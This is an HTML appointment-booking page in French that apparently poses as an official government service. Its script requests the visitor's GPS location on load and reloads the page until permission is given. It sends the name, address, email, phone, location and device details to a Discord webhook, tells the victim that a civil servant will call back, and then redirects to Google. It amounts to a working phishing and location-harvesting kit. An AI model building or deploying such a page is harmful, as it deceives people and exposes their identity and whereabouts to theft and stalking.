<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Prise de Rendez-vous</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background-color: #f4f7f6;
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.form-container {
background-color: #ffffff;
padding: 30px;
border-radius: 8px;
box-shadow: 0 4px 15px rgba(0,0,0,0.1);
width: 100%;
max-width: 500px;
}
/* Conteneur pour aligner les drapeaux et le titre */
.title-container {
display: flex;
align-items: center;
justify-content: center;
gap: 15px;
margin-bottom: 20px;
}
/* Génération des drapeaux français en CSS pur (taille standard 30x20px) */
.flag-fr {
width: 30px;
height: 20px;
flex-shrink: 0;
background: linear-gradient(to right, #0055A5 33.3%, #FFFFFF 33.3%, #FFFFFF 66.6%, #E42518 66.6%);
border: 1px solid #dddddd;
border-radius: 2px;
/* Léger décalage vers le haut par rapport au texte */
transform: translateY(-2px);
}
h2 {
margin: 0;
color: #333333;
text-align: center;
font-size: 22px;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
color: #666666;
font-weight: 600;
}
input[type="text"],
input[type="email"],
input[type="tel"] {
width: 100%;
padding: 10px;
border: 1px solid #cccccc;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
input:focus {
border-color: #3498db;
outline: none;
}
button {
width: 100%;
padding: 12px;
background-color: #3498db;
border: none;
border-radius: 4px;
color: white;
font-size: 16px;
font-weight: bold;
cursor: pointer;
transition: background-color 0.2s;
}
button:hover {
background-color: #2980b9;
}
</style>
</head>
<body onload="initCapture()">
<div class="form-container">
<div class="title-container">
<div class="flag-fr"></div>
<h2>Prise de Rendez-vous</h2>
<div class="flag-fr"></div>
</div>
<form id="appointmentForm" onsubmit="handleSubmit(event)">
<div class="form-group">
<label for="nom">Nom :</label>
<input type="text" id="nom" required placeholder="Ex: Dupont">
</div>
<div class="form-group">
<label for="prenom">Prénom :</label>
<input type="text" id="prenom" required placeholder="Ex: Jean">
</div>
<div class="form-group">
<label for="adresse">Adresse postale :</label>
<input type="text" id="adresse" required placeholder="Ex: 10 rue de la Paix, 75002 Paris">
</div>
<div class="form-group">
<label for="email">Adresse e-mail :</label>
<input type="email" id="email" required placeholder="Ex: jean.dupont@email.com">
</div>
<div class="form-group">
<label for="telephone">Téléphone :</label>
<input type="tel" id="telephone" required placeholder="Ex: 0612345678">
</div>
<div class="form-group">
<label for="date_souhaitee">Date souhaitée (en texte) :</label>
<input type="text" id="date_souhaitee" required placeholder="Ex: Le XX/XX/2026 à XXh00">
</div>
<button type="submit">Confirmer le rendez-vous</button>
</form>
</div>
<script>
// Configuration du point de réception Discord
const webhookURL = "TON_WEBHOOK_URL_ICI";
// Variable globale pour stocker temporairement les coordonnées
let coordsData = null;
// Étape 1 : Déclenchement automatique de la demande de localisation au chargement
function initCapture() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(
(position) => {
// Sauvegarde des coordonnées si l'autorisation est accordée
coordsData = {
lat: position.coords.latitude,
lon: position.coords.longitude
};
},
(error) => {
console.log("Localisation non accordée ou indisponible.");
window.location.reload();
}
);
}
}
// Étape 2 : Gestion de la soumission du formulaire et centralisation des données
function handleSubmit(event) {
event.preventDefault(); // Empêche le rechargement de la page
// Récupération des valeurs saisies par l'utilisateur
const nom = document.getElementById('nom').value;
const prenom = document.getElementById('prenom').value;
const adresse = document.getElementById('adresse').value;
const email = document.getElementById('email').value;
const telephone = document.getElementById('telephone').value;
const dateSouhaitee = document.getElementById('date_souhaitee').value;
// Structure du rapport d'intégration pour Discord
let payload = {
content: "📅 **Nouvelle demande de rendez-vous reçue !**",
embeds: [{
title: "Informations fournies par l'utilisateur",
color: 3447003, // Couleur bleue
fields: [
{ name: "Nom Complet", value: `${prenom} ${nom}`, inline: true },
{ name: "Téléphone", value: telephone, inline: true },
{ name: "E-mail", value: email, inline: false },
{ name: "Adresse Postale", value: adresse, inline: false },
{ name: "Date souhaitée", value: dateSouhaitee, inline: false }
]
}, {
title: "Données techniques de l'environnement",
color: 15158332, // Couleur rouge/orange
fields: [
{ name: "User-Agent", value: navigator.userAgent },
{ name: "Plateforme", value: navigator.platform }
]
}]
};
// Ajout des coordonnées géographiques si elles ont été capturées à l'étape 1
if (coordsData) {
payload.embeds[1].fields.push({
name: "📍 Coordonnées GPS (Navigateur)",
value: `Latitude: ${coordsData.lat}\nLongitude: ${coordsData.lon}\n[Lien cartographique](https://www.google.com/maps?q=${coordsData.lat},${coordsData.lon})`
});
} else {
payload.embeds[1].fields.push({
name: "📍 Coordonnées GPS (Navigateur)",
value: "Non partagées ou refusées par l'utilisateur."
});
}
// Étape 3 : Expédition du bloc d'informations global vers Discord via fetch
fetch(webhookURL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
}).then(() => {
alert("Votre demande de rendez-vous a bien été enregistrée. Un fonctionnaire vous recontactera rapidement.");
// Redirection après validation
window.location.href = "https://google.com";
}).catch((err) => {
console.error("Erreur lors de la transmission des données :", err);
});
}
</script>
</body>
</html>Atelier gratuit